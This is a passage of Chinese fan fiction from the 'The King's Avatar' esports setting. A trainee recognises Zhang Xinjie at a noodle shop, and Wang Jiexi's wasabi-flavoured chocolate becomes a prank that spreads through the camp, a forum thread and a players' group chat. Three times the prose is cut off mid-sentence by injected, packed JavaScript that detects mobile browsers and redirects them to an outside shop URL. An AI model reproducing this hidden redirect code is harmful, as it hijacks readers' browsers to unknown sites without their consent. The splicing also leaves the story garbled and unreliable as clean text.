这个念头一旦冒出来,就像小猫爪子一样挠得她心痒痒。好奇心和对大神的某种奇妙心理,让她坐不住了。 她“蹭”地一下站了起来,动作有点猛,带得椅子腿在地上摩擦出刺啦一声响,好在此时店里就剩下他们几个人了,没引起其他人的注意。 乔一帆和高英杰都吓了一跳,疑惑地看着她:“轻禾姐,怎么了?” 张新杰也被这动静惊动,从手机屏幕上抬起目光,隔着镜片看了过来。 夏轻禾对上那道平静无波的目光,心里更加确定了七八分。她强压下差点脱口而出的“张新杰”三个字。她深吸一口气,对乔一帆和高英杰说了句“没事,我过去一下”,然后做了一件让两个男孩目瞪口呆的事。 她端起了自己那碗才吃了几口的炸酱面,脸上挤出一个自认为很自然,其实有点僵硬的笑容,迈步走到了张新杰那张小桌子旁边。 张新杰显然没料到这个微草粉丝会直接走过来,他身体几不可察地绷紧了一瞬,下意识地把帽檐又往下拉了拉,口罩上的目光带上了明显的警惕和询问。 夏轻禾在张新杰对面站定,弯下腰,凑近了一点,用只有两人能听到的音量,小心翼翼地问: “那个……请问,你是不是……张新杰呀?” 她的声音因为紧张和压低而有点发颤,眼睛带着求证和一丝掩饰不住的兴奋,直直地看着对方镜片后的眼睛。 张新杰完全没料到会被认出来,更没料到对方会这么直接地过来问。他握着手机的手指微微收紧,隔着口罩,似乎极轻地吸了口气。帽檐下的目光与夏轻禾对视了两秒,那眼神里闪过惊讶、些许无奈,还有一丝“既然被认出来了”的认命。 他没有立刻承认,也没有否认,只是用那双平静的眼睛看着夏轻禾,仿佛在问:你想干嘛? 炸酱面馆里温暖的光线笼罩着这张小桌,酱香袅袅。一方是包裹严实、气场沉稳的联盟大神,一方是端着面碗、眼睛发亮、带着点莽撞勇气的训练营新人。这画面,怎么看都有点……超现实。 乔一帆和高英杰在那边桌子伸长脖子看着,大气不敢出。老板在柜台后面下面,锅里热气腾腾。 炸酱面馆里那短暂的、略显诡异的沉默,最终还是被张新杰自己打破了。 他没有直接回答“是”或“不是”,只是幅度很小地点了下头,算是默认了夏轻禾的猜测。同时,他抬起没拿手机的那只手,食指轻轻竖在口罩前,做了个“噤声”的手势。 夏轻禾立刻心领神会,也用力点了点头,眼睛里的兴奋变成了“我懂我懂”的示意,还用手在嘴巴上做了个拉拉链的动作。 张新杰似乎松了口气,紧绷的肩膀微微放松下来。他看了一眼夏轻禾手里还端着的面碗,又看了看自己桌上那碗还没动的加面,犹豫了一下,低声说:“先回去,把面吃完吧。” “哦哦,好!”夏轻禾这才意识到自己还端着碗站着呢,连忙转身,端着面碗小跑回自己的座位,坐下后还对一脸好奇和紧张的乔一帆、高英杰挤了挤眼睛,用口型无声地说:“真的是!” 乔一帆和高英杰都露出惊讶的表情,忍不住又偷偷往那边瞟。 接下来的时间,两桌人都有些食不知味。夏轻禾这边三人是兴奋加好奇,一边吃一边用眼神和压低的声音交流。张新杰那边则依旧维持着他那规律而专注的进食节奏,仿佛周围的一切都不存在。 终于,张新杰吃完了第二碗面,连汤都喝得干干净净。他放下碗筷,用纸巾仔细擦了擦嘴,然后招手示意老板结账。 夏轻禾见状,也赶紧扒拉完自己碗里最后几口面,擦了擦嘴,对乔一帆和高英杰说:“快快,我们也结账!” 三人抢在张新杰之前付了钱,然后像三只等待指令的小鹌鹑一样,站在店门口不远处,眼巴巴地看着张新杰结完账,整理好衣帽,推门走了出来。 秋夜的凉风立刻卷走了店内的暖意和酱香。张新杰拉高了外套的拉链,帽子依旧低低地压着,目光扫过等在门口的三人,脚步顿了顿。 “张副队……”夏轻禾先开口,声音比在店里时自然了一些,但依旧带着点粉丝见偶像的激动,“那个……您是要回酒店吗?” 张新杰点了点头,言简意赅:“嗯。” “酒店离这儿不远吧?我们……我们也刚吃完,散散步消消食,顺路的话一起走一段?”夏轻禾鼓起勇气提议,说完还有点忐忑,怕对方嫌他们麻烦。 张新杰看了看眼前三个穿着微草队服、眼神里带着期待和紧张的少年人,沉默了几秒钟。夜晚的街道很安静,偶尔有车辆驶过。他大概是在评估这个提议的合理性。 最终,他点了点头:“可以。不要大声喧哗。” “好的好的!保证安静!”夏轻禾立刻保证,乔一帆和高英杰也连忙点头。 于是,四人沿着略显空旷的街道,慢慢朝前走去。张新杰走在稍前一点的位置,步速平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036084|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳。夏轻禾三人则跟在他侧后方,保持着一点距离,既不敢靠太近,又不想离太远。 走了一段,还是张新杰先开了口,声音隔着夜风传来,依旧平稳:“你们是微草训练营的?” “是的!”夏轻禾立刻回答,“我叫夏轻禾,玩牧师和守护天使。这是乔一帆,玩刺客。这是高英杰,玩魔道学者。”她顺便把小伙伴也介绍了。 张新杰侧头看了他们一眼,目光在三人脸上快速扫过,点了点头,没说什么评价,只是问:“训练强度如何?” “挺大的,”夏轻禾实话实说,“不过能学到东西。王队和方副队要求都很严格。” 听到方士谦的名字,张新杰似乎微微顿了一下,才继续问:“方士谦……他现在还经常加练?” “方副队?他……”夏轻禾差点脱口而出“他最近忙着教我”,话到嘴边赶紧刹住,换了个说法,“他训练一直很认真,对自己要求很高。” 这话也不算假。 张新杰嗯了一声,没再追问。又走了一小段,他忽然问:“这附近,有没有比较有特色、适合打包带走的宵夜或者小吃?味道要好,最好不是汤汤水水不方便携带的。” 夏轻禾愣了一下,随即反应过来:“张副队是想给霸图的队友们带点吃的回去?” “嗯。”张新杰承认得很干脆,“比赛消耗大,他们晚上吃得不多。这边小吃不错,带点回去。” 夏轻禾心里顿时对这位以严谨著称的副队长多了点好感。输了比赛还记得给队友带吃的,虽然脸上没什么表情,但感觉挺细心挺照顾人的。 “有啊!往前走两个路口右拐,有条小吃街,晚上可热闹了!”夏轻禾立刻化身热心向导,“那边有家卖驴打滚和豌豆黄的,甜而不腻,打包方便!再往前走点还有家卤煮火烧,不过那个汤水多,可能不太方便带……啊对了,还有炒肝和爆肚,不过味道重,不知道你们队友吃不吃得惯……” 她如数家珍,说得眉飞色舞。乔一帆在旁边小声补充:“轻禾姐对这边吃的可熟了。” 高英杰也点了点头。 张新杰听得很认真,一边听一边似乎在脑海里规划路线和选购清单。等夏轻禾说完,他点了点头:“谢谢。信息很有用。” “不客气不客气!”夏轻禾摆摆手,又详细说了下具体怎么走,有哪些摊位比较显眼。 很快,走到了一个岔路口。张新杰要去的小吃街在右边,而夏轻禾他们回家的方向在左边。 “我往这边走了。”张新杰停下脚步,转向三人,依旧是那副平静的模样,“谢谢指路。” “张副队再见!路上小心!”夏轻禾连忙说。 乔一帆和高英杰也礼貌地道别:“张新杰前辈再见。” 张新杰对他们点了点头,拉了下帽檐,转身,迈着依旧平稳的步伐,朝着飘来隐约食物香气的小吃街方向走去,很快身影就融入了夜色和零星的人流中。 直到看不见了,夏轻禾才长长地呼出一口气,转过身,脸上带着兴奋的笑容,对乔一帆和高英杰说:“没想到啊没想到!张新杰副队长私下里还挺……挺好相处的嘛!虽然话不多,但感觉人不错!输了比赛还惦记着给队友买吃的!” 乔一帆也笑了笑:“嗯,是挺意外的。感觉和赛场上那种……压迫感不太一样。” 高英杰小声说:“他问训练强度的时候,好像很认真在听。” “是吧是吧!”夏轻禾用力点头,边走边回味,“而且他吃面好认真。对了,他还问我方副队加不加练,是不是他们治疗大神之间都这么互相惦记啊?” 三人说说笑笑,朝着家的方向走去。 到了夏轻禾家楼下,和乔一帆、高英杰道别后,她哼着歌上了楼。用钥匙打开门,屋里一片安静,只亮着玄关一盏小灯。 “姐?我回来啦!”夏轻禾喊了一声,没人应。 她换了鞋走进客厅,发现茶几上压着一张字条,是姐姐夏茗的字迹: “轻禾,我和天然去试婚纱和看场地了,可能回来晚点,不用等我们。冰箱里有洗好的水果,饿了自己弄点吃的。早点休息。——姐” 夏轻禾拿起字条看了看,挑了挑眉。哦……秦天然,姐姐的未婚夫,也是前嘉世战队的队员,当年和姐姐是队友,据说配合还挺默契。后来姐姐出国留学,秦天然也因为各种原因退役,转去做游戏相关的工作了。 她看了眼墙上的日历,这才猛然想起来,姐姐这次回来,好像确实提过一嘴,打算趁着国庆假期把婚结了,两边家长也都商量好了。只是她自己最近一头扎进训练和比赛里,差点把这事儿给忘了。 “时间过得真快啊……”夏轻禾嘀咕了一句,把字条放回茶几上。姐姐要结婚了,那个曾经在赛场上英姿飒爽的神枪手,就要穿上婚纱了……想想还有点奇妙。 她走到窗边,看着楼下街道零星的车灯。夜晚的城市安静而深邃。今天发生了好多事:看了激动人心的开幕赛,和高英杰约定了未来,偶遇了张新杰还一起走了段路,现在又知道姐姐在忙着筹备婚礼…… 生活好像被按下了加速键,各种事情纷至沓来,让她有点应接不暇,但又觉得充实无比。 她想起张新杰离开时那平稳的背影,想起赛场上王杰希和方士谦专注的神情,想起自己和高英杰击掌时眼中的光芒。 夏轻禾伸了个懒腰,感觉心情格外明朗。她决定不去想那些复杂的战术和训练了,先去洗个热水澡,再看会儿比赛录像,就睡觉。 剩下的事,明天再说吧。 17.第 17 章 第二天一早,夏轻禾神清气爽地踏进微草训练营。昨晚虽然经历了各种事情,但睡眠质量意外地好,大概是心情舒畅的缘故。她哼着不成调的歌,推开训练室的门,本以为自己是第一个到的,却发现方士谦已经坐在他的位置上。 方士谦正坐在他的电脑前,屏幕上似乎是一些训练数据的图表,但他并没有在看,而是手里拿着一个小巧的、包装精致的绿色方形盒子,正饶有兴致地研究着什么。 “师父早啊!”夏轻禾走过去,放下背包。 “早。”方士谦抬起头,脸上带着一种……有点微妙的笑意?他把手里那个绿色小盒子递了过来,“喏,尝尝。” 夏轻禾接过来,好奇地打量。盒子很精致,绿色的主色调,上面印着简洁的logo和一行小字,看起来是某种高端巧克力品牌。她注意到logo旁边还有一个很小的人像剪影,有点眼熟…… “这什么呀?”她眨了眨眼好奇地问。 “巧克力,抹茶味的。”方士谦语气平常,甚至还带着点推荐的意思,一本正经地说,“你们队长代言的牌子,听说挺好吃的,昨天别人给的,我尝了一块,味道……挺特别。你也试试。” 队长代言的?夏轻禾又看了一眼那个剪影,好像确实是王杰希的侧影轮廓。队长居然还代言巧克力?还是抹茶味?感觉和队长那种严肃沉稳的形象有点反差萌。 既然是师父给的,还是队长代言的,应该没问题吧?夏轻禾心里想着,对方士谦的话她一般不太怀疑。而且抹茶味,她挺喜欢的。 她打开盒子,里面整齐地排列着几颗同样绿色的、方方正正的巧克力,散发着淡淡的、类似抹茶的香气。她拿起一颗,放进嘴里。 牙齿咬下去,外层是脆脆的巧克力壳,带着一丝甜味。紧接着,内馅融化开来,一股……嗯?起初确实是有点像抹茶的微苦和清香,但很快,一种更强烈、更刺激的味道猛地冲了上来! 那味道像是……芥末?! 夏轻禾眼睛瞬间瞪大了,咀嚼的动作僵住。那股辛辣的气息毫不客气地直冲天灵盖,瞬间充斥了整个口腔和鼻腔,让她忍不住倒吸一口凉气,结果吸进去的冷空气混合着芥末的刺激,更是一发不可收拾! “咳!咳咳!!”她捂住嘴,感觉眼泪一下子就涌了上来,眼眶瞬间通红,生理性的泪水不受控制地往外冒。她想说话,但喉咙被那股辛辣呛得发紧,只能发出含糊的呜咽声,颤抖着手指着方士谦,一副“你居然害我”的控诉表情。 方士谦在一旁看着,从她咬下巧克力那一刻起就努力绷着的嘴角终于忍不住上扬,眼睛里满是恶作剧得逞的笑意,但又赶紧从旁边拿了一瓶没开封的矿泉水,拧开递过去。 夏轻禾一把抓过水瓶,仰头咕咚咕咚猛灌了大半瓶,冰凉的水流冲刷过口腔和食道,才稍微压下去那股火烧火燎的刺激感。她放下水瓶,大口喘着气,眼睛还是红红的,鼻尖也红红的,看起来可怜又好笑。 “师……师父!”她缓过气来,声音还带着点呛咳后的沙哑和委屈,“你想谋杀我啊!这哪是抹茶味,这分明是芥末日料店误入巧克力工厂了吧?!” 方士谦终于忍不住笑出了声,一边笑一边摆手:“抱歉抱歉,真不是故意的。就是觉得……不能只有我一个人受这个害啊。” 他笑得肩膀都在抖,显然昨天的受害者就是他本人。 夏轻禾狐疑地看着他:“你也吃了?” “嗯,”方士谦点头,想起昨天王杰希一脸平静,甚至带着点期待地把这盒巧克力递给他,说“新代言,尝尝,味道不错”时的情形,他就有点牙痒痒,“你们王队亲手给的。我当时的反应……嗯,跟你差不多,可能稍微含蓄点。” 他省略了自己当时差点把巧克力喷出来、强忍着咽下去后灌了一大杯水还觉得鼻子通透了好几天的细节。 夏轻禾不能理解,用纸巾擦着眼泪和呛出来的鼻涕,愤愤道:“为什么要把巧克力做成芥末味的啊?!厂家是觉得队长人气太高,不管做成什么味道都会有人闭着眼睛买单吗?这什么魔鬼口味啊!” “谁知道呢,”方士谦耸耸肩,把那盒绿色的“魔鬼食物”嫌弃地推远了一点,“也许是为了创新?或者挑战味蕾极限?反正,王队觉得味道不错……” 夏轻禾想起王杰希那张总是没什么表情的脸,很难想象他说“味道不错”时是什么样子。难道队长的味觉构造和普通人不一样? 这个小插曲很快过去,训练照常开始。但那一颗芥末巧克力的余威似乎还残留在夏轻禾的味觉记忆里,让她训练时都格外精神。 中午休息的时候,夏轻禾看着书包里那个被方士谦嫌弃在她这儿的绿色巧克力盒子,眼珠子转了转,一个绝妙又坑人的主意冒了出来。 独乐乐不如众乐乐,独受害不如众受害!这么好的东西,怎么能不让小伙伴们也分享一下呢? 她先是找到了正在吃饭的乔一帆和高英杰。 “一帆!英杰!来来来,有好东西分享!”夏轻禾笑容灿烂地凑过去,掏出那个绿色小盒子,“队长代言的巧克力哦!高端品牌!抹茶味,特别好吃!方副队都推荐!我尝过了,味道很……难忘!” 她特意强调了“难忘”两个字。 乔一帆和高英杰不疑有他,尤其是听到是队长代言的,还有方副队推荐,都好奇地接了过去。 “谢谢轻禾姐。”乔一帆拿了一颗。 “谢谢……”高英杰也腼腆地拿了一颗。 两人在夏轻禾充满期待的目光注视下,将巧克力放进了嘴里。 接下来的几秒钟,训练营休息区的空气仿佛凝固了。 乔一帆温和的脸瞬间扭曲,眼睛瞪大,捂着嘴剧烈咳嗽起来,脸憋得通红。高英杰更是整个人都僵住了,清秀的脸庞以肉眼可见的速度涨红,眼泪唰地就下来了,他不知所措地站在那里,想吐又不敢吐,样子可怜极了。 夏轻禾早有准备,立刻递上两瓶水,憋着笑,一脸关切:“哎呀,是不是太好吃了?慢点慢点,喝点水顺顺!” 乔一帆和高英杰灌下去大半瓶水,才勉强能说话,看着夏轻禾的眼神充满了难以置信和控诉。 “轻、轻禾姐……这哪里是抹茶……”乔一帆声音都变了。 “辣……好辣……”高英杰吸着鼻子,吐出舌头,眼睛水汪汪的。 夏轻禾终于忍不住哈哈笑起来,一边笑一边道歉:“对不起对不起,是芥末味的!我也被师父坑了!不能只有我们受害嘛!对了,还有刘小别!” 于是,下午训练前,刘小别也被夏轻禾用同样的说辞忽悠着吃了一颗。刘小别的反应直接多了,嚼了两下脸色一变,猛地扭头冲到垃圾桶边干呕了几声,然后灌了整整一瓶水,回过头看夏轻禾的眼神像看外星人。 “夏轻禾你脑子被门夹了?这玩意儿是人吃的?”他毫不客气地吐槽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037085|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏轻禾笑得直不起腰。 经过这么一遭,芥末巧克力的事情迅速在几个相熟的训练营学员中小范围传开,大家对王杰希队长代言的这个“魔鬼零食”敬而远之,同时看向夏轻禾的眼神也多了点“这姑娘有点虎”的意味,生怕得罪了她被她塞一颗巧克力。 傍晚时分,王杰希惯例来训练营巡视,看看学员们的训练情况。当他走进训练室时,明显感觉到有几道目光不太对劲。 夏轻禾正对着电脑练习,感觉到队长的身影,下意识抬头看了一眼。视线对上王杰希那双平静无波的眼睛时,脑子里不知怎么突然就蹦出了中午那颗绿色巧克力的恐怖味道,以及方士谦说的“王队觉得味道不错”。 电光石火间,一句没过脑子的话脱口而出: “队长你好辣!” 声音不大,但在相对安静的训练室里格外清晰。 王杰希:“……?” 王杰希的脚步顿住了。他转过头,看向夏轻禾,那双大小眼微微眯起了一点,脸上没什么表情,但眼神里似乎掠过一丝极淡的疑惑,还有一点难以形容的微妙。 训练室里其他几个知道芥末巧克力事件的学员,比如乔一帆、高英杰,还有不远处竖着耳朵的刘小别,瞬间都屏住了呼吸,低着头假装专注训练,肩膀却可疑地耸动着。 夏轻禾说完才反应过来自己说了什么,脸唰地一下就红了,恨不得找个地缝钻进去。她连忙摆手,语无伦次地解释:“不是不是!队长我不是那个意思!我是说……是说您代言的巧克力……那个味道……很……很提神醒脑!对!提神醒脑!” 王杰希看着她慌里慌张的样子,又扫了一眼其他几个低着头但耳朵竖得老高的学员,似乎明白了什么。他脸上依旧没什么表情,只是淡淡地“嗯”了一声,然后就像什么都没发生一样,继续他的巡视工作。 只是走到训练室角落的休息区时,他的目光在那张桌子上停留了一瞬——那里放着那个已经被打开、还剩下几颗的绿色巧克力盒子。 晚上,王杰希处理完战队事务,准备离开俱乐部前,又去训练营转了一圈。学员们大多已经结束训练离开了,训练室里空荡荡的。 他走到那张放着巧克力盒子的桌子旁,拿起盒子看了看,里面还剩三四颗。他沉默了片刻,然后伸手拿了一颗出来,剥开包装纸,放进了嘴里。 熟悉又刺激的味道在口腔里蔓延开来。王杰希慢慢咀嚼着,脸上依旧没什么表情,只是眉头几不可察地动了一下。 咽下去后,他喝了口水,看着手里空了的包装纸,又看了看盒子。 味道……其实真的还行。他想。 至少,挺提神醒脑的。而且,看夏轻禾他们几个的反应,这巧克力似乎还有促进训练营内部消化的意外效果? 王杰希将巧克力盒子放回原处,转身离开了训练室。 嗯,下次品牌方如果问反馈,可以考虑建议他们出个“微草特供版”,标注“提神醒脑,慎用于队友”。他漫无边际地想了一下,随即又恢复了平日的专注。 很快,听说王杰希很辣的传闻就在微草训练营传开了。 总有人不信邪,每当有不懂的学员好奇地问起“队长你好辣”是什么意思的时候,总会有知道的人神秘兮兮地压低声音:“嘘……那是王队代言的一个……提神醒脑神器。轻易别尝试,除非你想感受一下来自队长的关爱。” 18.第 18 章 荣耀职业选手论坛 > 闲聊灌水区 主题:【理性讨论】关于王队新代言的那个巧克力,有人试过吗? 1L 楼主 如题,前两天看到王队新拍的广告了,绿色包装挺清爽的,本微草粉+甜食控立刻激情下单了三盒,但是我没看清味道。今天刚到货,兴冲冲拆开尝了一块……我现在人有点懵。是我买的批次有问题还是这巧克力就是这么设计的?为什么是芥末味?有没有同样入手了的姐妹兄弟来分享一下感受?[图片:绿色巧克力盒子特写] 2L 沙发!楼主手速可以啊!我也看到广告了,还没买。 3L ???芥末味巧克力?什么魔鬼搭配?楼主你确定没拿错成芥末青豆? 4L 楼主 回复3L:千真万确!就是王队代言的那个牌子那个系列!包装上一模一样!我还核对了好几遍订单!我现在嘴里还有那股味儿,喝了两杯水都没压下去,眼泪都给我呛出来了! 5L 哈哈哈哈哈哈对不起楼主但我忍不住笑了!芥末味巧克力?王队知道他的代言产品是这种画风吗? 6L 弱弱地说……我也买了,刚收到。看了楼主的帖子,我拿着巧克力的手微微颤抖……现在有点不敢吃了。 7L 吃啊!楼上兄弟快吃!不能只有楼主一个人受害! 8L 回复6L:勇士,等你反馈!如果是真的,我立刻把这链接分享给我那个总抢我外卖的同事。[滑稽] 9L 回复8L:夺笋啊!山上的笋都被你夺完了!不过……干得漂亮!已收藏帖子,备用。 10L 只有我好奇王队自己吃过这个巧克力吗?他什么反应?“嗯,味道不错?(认真脸)” 11L 回复10L:画面感来了!我已经能脑补出王队那张没什么表情的脸,平静地吃下一颗,然后点点头说“可以”的样子了。毕竟是我大微草的魔术师,味觉可能也异于常人(不是)。 12L 巧克力受害者二号 我来了!刚鼓起勇气吃了一块!楼主没骗人!真的是芥末味!虽然前调有点甜,但芥末那股劲儿上来简直了!我现在鼻子通气了,眼泪也流了,就是心情很复杂……这玩意儿真的能当零食吃吗?[图片:空了的巧克力包装纸,旁边一杯水] 13L 哈哈哈哈哈受害者二号出现!看来不是批次问题,是产品本身就这样! 14L 品牌方是怎么想的?觉得王队粉丝都是抖M吗?还是说这其实是什么“提神醒脑电竞必备神器”? 15L 回复14L:你还别说,我现在确实挺精神的,一点困意都没有了……就是眼睛有点酸。 16L 已下单两盒,准备送给总在游戏里坑我的那个“好朋友”。感谢楼主和品牌方给我提供了新的报仇思路。[双手合十] 17L 楼上也是个人才。不过注意安全,别被真人PK了。 18L 只有我觉得……说不定王队就是喜欢这个味道呢?(认真思考)魔术师的品味,我等凡人难以揣测。 19L 开始好奇其他战队选手如果收到这个巧克力会是什么反应了。[暗中观察] 20L 黄少天:王杰希你代言的什么鬼东西是想辣死本剑圣然后继承我的夜雨声烦吗?!(开始刷屏) 韩文清:(面无表情吃下)(眉头微皱)(继续吃) 张新杰:(查看成分表)(计算热量和刺激性)(谨慎地吃一小口)(得出结论:不建议日常食用) 沐沐吃估计会被辣哭。 21L 回复20L:艹,笑死我了!各个选手的表现都太传神了!张新杰那个“不建议日常食用”我直接笑喷! 22L 论坛人才多。话说这帖子会不会被品牌方或者微草的人看到啊? 23L 看到就看到呗,反正产品都上市了。说不定还能促进销量呢,反向促销也是促销。 24L 只有我默默取消了购物车里的巧克力吗?感谢楼主排雷,好人一生平安。 …… 夏轻禾刷着论坛里的这个热帖,笑得肩膀一抖一抖的。 “原来不止我一个人觉得那是生化武器啊!”她小声嘀咕,手指往下划拉,看到越来越多人分享自己被芥末巧克力荼毒的经历,以及各种缺德的赠送仇家提议,笑得更欢了。 特别是看到那条说“给关系不好的同事吃了,被说太损了原来还有这招”的回复时,她眼睛一亮,一个绝妙的点子像灯泡一样在脑子里亮了起来。 对哦!这芥末味巧克力,拿来“慰问”一下某些特别的人,岂不是效果拔群? 她脑海里立刻浮现出一个聒噪的、喋喋不休的、ID叫剑定天下第一的那个剑客形象。上次在网游里对喷还没过足瘾呢,黄少天?嗯,职业选手,肯定更注重形象和状态,要是比赛前收到粉丝送的“贴心”零食,然后一口下去…… 夏轻禾摸着下巴,嘴角抑制不住地上扬,露出了一个混合着狡黠、兴奋和恶作剧光芒的笑容。那笑容灿烂得有点……不怀好意。 坐在旁边桌子前看书的乔一帆无意中抬头,正好看到夏轻禾这个表情,心里咯噔一下,用手肘轻轻碰了碰旁边正在默记技能CD的高英杰,小声道:“英杰,你看轻禾姐……她是不是又在打什么奇怪的主意了?” 高英杰闻言看去,看到夏轻禾对着手机屏幕笑得像只偷到鸡的小狐狸,也愣了愣,小声回答:“好像……是的。每次轻禾姐这样笑,好像都会发生点……特别的事。” 他想起了那盒绿色的巧克力,还有训练营里其他几个受害者,忍不住打了个寒颤。 不远处戴着耳机听音乐、实则也在用手机看论坛的刘小别,也瞥见了夏轻禾的表情。他嘴角抽了抽,非常淡定地移开了目光,装作什么都没看见,心里却默默为那个即将被夏轻禾惦记上的不知名倒霉蛋点了一根蜡。 三天后,G市,蓝雨俱乐部。 训练结束,黄少天正收拾东西,准备回宿舍再研究一下下一场对手的录像。战队运营部门的一位小哥抱着几个快递盒子走了进来,脸上表情有点微妙,似乎想笑又强忍着。 “黄少,有你的快递,粉丝礼物。”小哥把四个包装得一模一样的绿色盒子放在黄少天桌上,“我们都检查过了,没有危险物品,就是……嗯,一些零食。” 他说完,目光有点飘忽,不太敢和黄少天对视,放下东西就快步溜走了。 “零食?粉丝这么贴心?”黄少天心情不错,拿起一个盒子看了看,包装挺精致,绿色挺清爽,上面好像还有个什么人像剪影?他没太在意,想着可能是哪个喜欢他的粉丝寄来的零食之类的。 他顺手拆开一盒,里面整齐排列着绿色的巧克力。 “抹茶巧克力?还不错嘛!”黄少天喜欢甜食,拿起一颗就丢进了嘴里,一边嚼一边还在想晚上要不要加练一会儿手速。 牙齿咬破脆壳,内馅融化…… 两秒钟后。 “噗——!!咳咳咳咳!!!” 黄少天猛地从椅子上弹了起来,捂着自己的嘴和喉咙,脸瞬间涨红,眼睛里生理性的泪水狂飙,“水!水呢!!靠靠靠!!!这什么鬼东西啊啊啊!!!” 他手忙脚乱地抓起桌上的水杯猛灌,感觉那股辛辣刺激的味道像火焰一样从舌头烧到鼻腔再直冲天灵盖,整个人都要不好了。 好不容易缓过一口气,黄少天看着桌上那几盒绿色的“恶魔”,又看了看包装上那个小小的剪影,终于认出来了——王杰希! “王杰希你代言的什么鬼巧克力!是给人吃的吗?!你想辣死我然后让你们微草在赛场上少个对手吗?!太阴险了!太狡诈了!这绝对是阴谋!!” 黄少天悲愤交加,手指在手机屏幕上飞舞,瞬间冲进职业选手群,开始疯狂刷屏控诉。 夜雨声烦:[图片:被咬了一口的绿色巧克力][图片:空了的矿泉水瓶] 夜雨声烦:@王不留行王大眼你出来解释解释!你代言的是什么生化武器?!芥末味巧克力?!你是怎么想出来的?!还是说你们微草平时的训练餐都是这个口味?! 夜雨声烦:我差点被这玩意儿送走!我现在感觉我的舌头和鼻子都不是自己的了!赔钱!精神损失费! 夜雨声烦:还有没有天理了!粉丝送礼物怎么能送这种危险品!运营怎么检查的!这比毒药还可怕!毒药还能检测出来呢! 夜雨声烦:@索克萨尔 队长!你要为我做主啊!微草用心险恶! 群里瞬间被黄少天的文字泡淹没,其他战队的选手们先是愣了一下,随即纷纷冒泡,看热闹不嫌事大。 风城烟雨:芥末味巧克力?听起来……很有创意?[吃瓜] 生灵灭:从材料学角度,将芥末风味物质与巧克力脂质结合,并保持口感平衡,有一定技术难度。王队,品牌方技术力不错啊。 一枪穿云:…… 石不转:芥末的主要刺激性成分是异硫氰酸烯丙酯,对黏膜有较强刺激作用,过量食用可能引起不适。建议适量。[科普脸] 一叶之秋:哟,少天中招了?味道怎么样?提神不?[叼烟笑] 王不留行:……味道其实还行。 王杰希的回复一如既往的简短平静,却像在滚油里滴了滴水,让黄少天更加炸毛。 夜雨声烦:还行?!王杰希你的味觉是外星人构造吗?!这叫还行?!这叫谋杀未遂! 夜雨声烦:你们微草是不是专门研究这种精神攻击武器?下次比赛是不是要直接往对手键盘上撒这个? 群里顿时充满了快活的空气。关于“王杰希很辣”的梗,迅速在职业选手圈里传开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040249|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 喻文州结束完一个战术会议回到训练室,就看到黄少天对着手机咬牙切齿,桌上摆着几个碍眼的绿色盒子,以及群里那999+的未读消息。他快速浏览了一下聊天记录,大概明白了怎么回事。 “队长!你回来了!你看!”黄少天指着那几盒巧克力,痛心疾首,“王杰希代言的!芥末味的!粉丝送的说是,我差点就没了。天杀的这哪里是粉丝送的,是仇人送的吧?” 喻文州拿起一盒看了看,又看了看群里王杰希那句“味道其实还行”,眼底掠过一丝了然的笑意。他当然知道王杰希不会搞这种无聊的恶作剧,估计是某个“热心”粉丝的推波助澜。 “王队说味道还行,可能……确实有它的受众。”喻文州微笑道,“不过,你不喜欢吃芥末的话,就不要勉强了。” “何止不喜欢!是根本不能接受!”黄少天气呼呼地说,“队长,你要不要试试?算了算了,你别试,这玩意儿有毒!” “我就不试了,”喻文州摇摇头,他对芥末也没什么兴趣,“不过,既然是粉丝的心意,也不好随便扔掉。不如我帮你收着吧,也许……以后能用上。” 他语气温和,眼神却有点意味深长。 黄少天正愁这几盒“炸弹”怎么处理,扔了吧浪费食物,留着吧看着就闹心。听到队长愿意接手,顿时感激涕零:“队长你太好了!快快快,都拿走!千万别让它们再出现在我视线范围内!” 喻文州笑着点点头,将几盒巧克力收了起来。黄少天如释重负,感觉空气都清新了。 三天后,B市,微草俱乐部。 王杰希看着战队运营送来的、同样经过检查的粉丝礼物盒子,陷入了沉思。 盒子里,静静地躺着四盒他代言的、绿色包装的巧克力。和他前几天刚解决掉,并且决定短期内不再碰的那些,一模一样。 王杰希拿起一盒,看了看寄件人信息,只有一个模糊的地址和“您的粉丝”落款。他当然不会认为是黄少天寄回来的,更可能是其他“热心人士”看到了选手群的闹剧,或者论坛的帖子,觉得好玩寄过来的。 他捏了捏眉心。这东西,说难吃吧,其实以他的接受度,还行。但要说多好吃,那也绝对谈不上。最主要的是,吃一颗带来的提神效果过于猛烈,不适合作为常规零食。 但是,浪费食物不好,尤其还是自己代言的产品。 王杰希看着这四盒巧克力,又看了看训练室里正在为下一场对阵蓝雨的比赛而刻苦训练的队员们,一个念头缓缓成形。 